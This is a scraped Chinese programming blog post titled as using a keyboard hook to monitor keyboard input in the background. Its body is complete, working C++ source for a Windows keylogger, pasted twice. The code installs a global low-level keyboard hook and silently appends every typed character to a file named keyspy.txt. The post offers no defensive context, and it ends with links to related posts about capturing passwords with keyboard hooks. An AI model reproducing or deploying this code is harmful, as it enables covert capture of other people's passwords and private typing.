用键盘钩子截获键盘消息,后台监控键盘输入
来源:互联网 发布:我想在淘宝上做代理商 编辑:程序博客网 时间:2024/04/30 13:40
#include <iostream>
#include <Windows.h>
#include <stdio.h>
using namespace std;
HINSTANCE g_Instance; // Handler of current instance
HHOOK g_Hook; // Handler of hook
BOOL SetHook();
BOOL UnSetHook();
static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
bool IsCaptialState()
{
bool IsCapital = false;
bool IsShiftDown = false;
if (GetKeyState(VK_CAPITAL))
{
IsCapital = true;
}
if (GetAsyncKeyState(VK_SHIFT))
{
IsShiftDown = true;
}
bool bFinalState = IsCapital ^ IsShiftDown;
return bFinalState;
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch = 0;
FILE *stream = NULL;
if (wParam == WM_KEYDOWN)
{
KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;
freopen_s(&stream, "keyspy.txt","a",stdout);
ch = MapVirtualKey(pStruct->vkCode, 2);
if (ch>='A' && ch <='Z' && !IsCaptialState())
{
ch = ch + 32;
}
printf("%c", ch);
fclose(stream);
}
return ::CallNextHookEx(g_Hook, nCode, wParam, lParam);
}
BOOL SetHook()
{
if (g_Instance || g_Hook) // Already hooked!
return TRUE;
g_Instance = (HINSTANCE)::GetModuleHandle(NULL);
g_Hook = ::SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, g_Instance, 0);
if (!g_Hook)
{
return FALSE;
}
return TRUE; // Hook has been created correctly
}
BOOL UnSetHook()
{
if (g_Hook) { // Check if hook handler is valid
::UnhookWindowsHookEx(g_Hook); // Unhook is done here
g_Hook = NULL; // Remove hook handler to avoid to use it again
}
return TRUE; // Hook has been removed
}
int main()
{
if (!SetHook())
return -1;
MSG msg;
while(::GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnSetHook();
return 0;
}
#include <Windows.h>
#include <stdio.h>
using namespace std;
HINSTANCE g_Instance; // Handler of current instance
HHOOK g_Hook; // Handler of hook
BOOL SetHook();
BOOL UnSetHook();
static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
bool IsCaptialState()
{
bool IsCapital = false;
bool IsShiftDown = false;
if (GetKeyState(VK_CAPITAL))
{
IsCapital = true;
}
if (GetAsyncKeyState(VK_SHIFT))
{
IsShiftDown = true;
}
bool bFinalState = IsCapital ^ IsShiftDown;
return bFinalState;
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch = 0;
FILE *stream = NULL;
if (wParam == WM_KEYDOWN)
{
KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;
freopen_s(&stream, "keyspy.txt","a",stdout);
ch = MapVirtualKey(pStruct->vkCode, 2);
if (ch>='A' && ch <='Z' && !IsCaptialState())
{
ch = ch + 32;
}
printf("%c", ch);
fclose(stream);
}
return ::CallNextHookEx(g_Hook, nCode, wParam, lParam);
}
BOOL SetHook()
{
if (g_Instance || g_Hook) // Already hooked!
return TRUE;
g_Instance = (HINSTANCE)::GetModuleHandle(NULL);
g_Hook = ::SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, g_Instance, 0);
if (!g_Hook)
{
return FALSE;
}
return TRUE; // Hook has been created correctly
}
BOOL UnSetHook()
{
if (g_Hook) { // Check if hook handler is valid
::UnhookWindowsHookEx(g_Hook); // Unhook is done here
g_Hook = NULL; // Remove hook handler to avoid to use it again
}
return TRUE; // Hook has been removed
}
int main()
{
if (!SetHook())
return -1;
MSG msg;
while(::GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnSetHook();
return 0;
}
0 0
- 用键盘钩子截获键盘消息,后台监控键盘输入
- 用ImessageFilter截获键盘消息
- 用ImessageFilter接口实现截获键盘消息
- 用ImessageFilter接口实现截获键盘消息
- 用ImessageFilter接口实现截获键盘消息
- 用ImessageFilter接口实现截获键盘消息
- 利用鼠标键盘钩子截获密码。
- 利用鼠标键盘钩子截获密码
- 利用鼠标键盘钩子截获密码
- 利用鼠标键盘钩子截获密码
- 利用鼠标键盘钩子截获密码
- 利用鼠标键盘钩子截获密码。
- 钩子原理及实例:实现键盘钩子截获密码
- 钩子原理及实例:实现键盘钩子截获密码
- 设置全局键盘钩子和消息钩子
- PreTranslateMessage()函数截获鼠标键盘消息
- 有趣——windows键盘消息截获
- 用日志钩子处理键盘消息时的一个注意事项
- 嵌入式 关于sqlite多线程编程相关小结
- Linux 可执行文件 ELF结构 及程序加载运行
- 你的第一本哲学书 -- 9、生活的意义 ---- 托马斯·内格尔
- popen
- java.io.BufferedReader 从字符输入流中读取文本,缓冲各个字符,从而实现字符、数组和行的高效读取。
- 用键盘钩子截获键盘消息,后台监控键盘输入
- 自己写的手机端轮播插件-- hdpslide.js
- 面试题22 已知压入序列 判断弹出序列正不正确
- unity打包模型存在的一个问题
- PAT 1087. All Roads Lead to Rome
- DP PKU 1754
- JavaScript实现联想校招员工信息展示
- 【Python笔记】如何用C语言实现Python第三方扩展包
- android帮助文档打开慢的三种解决方法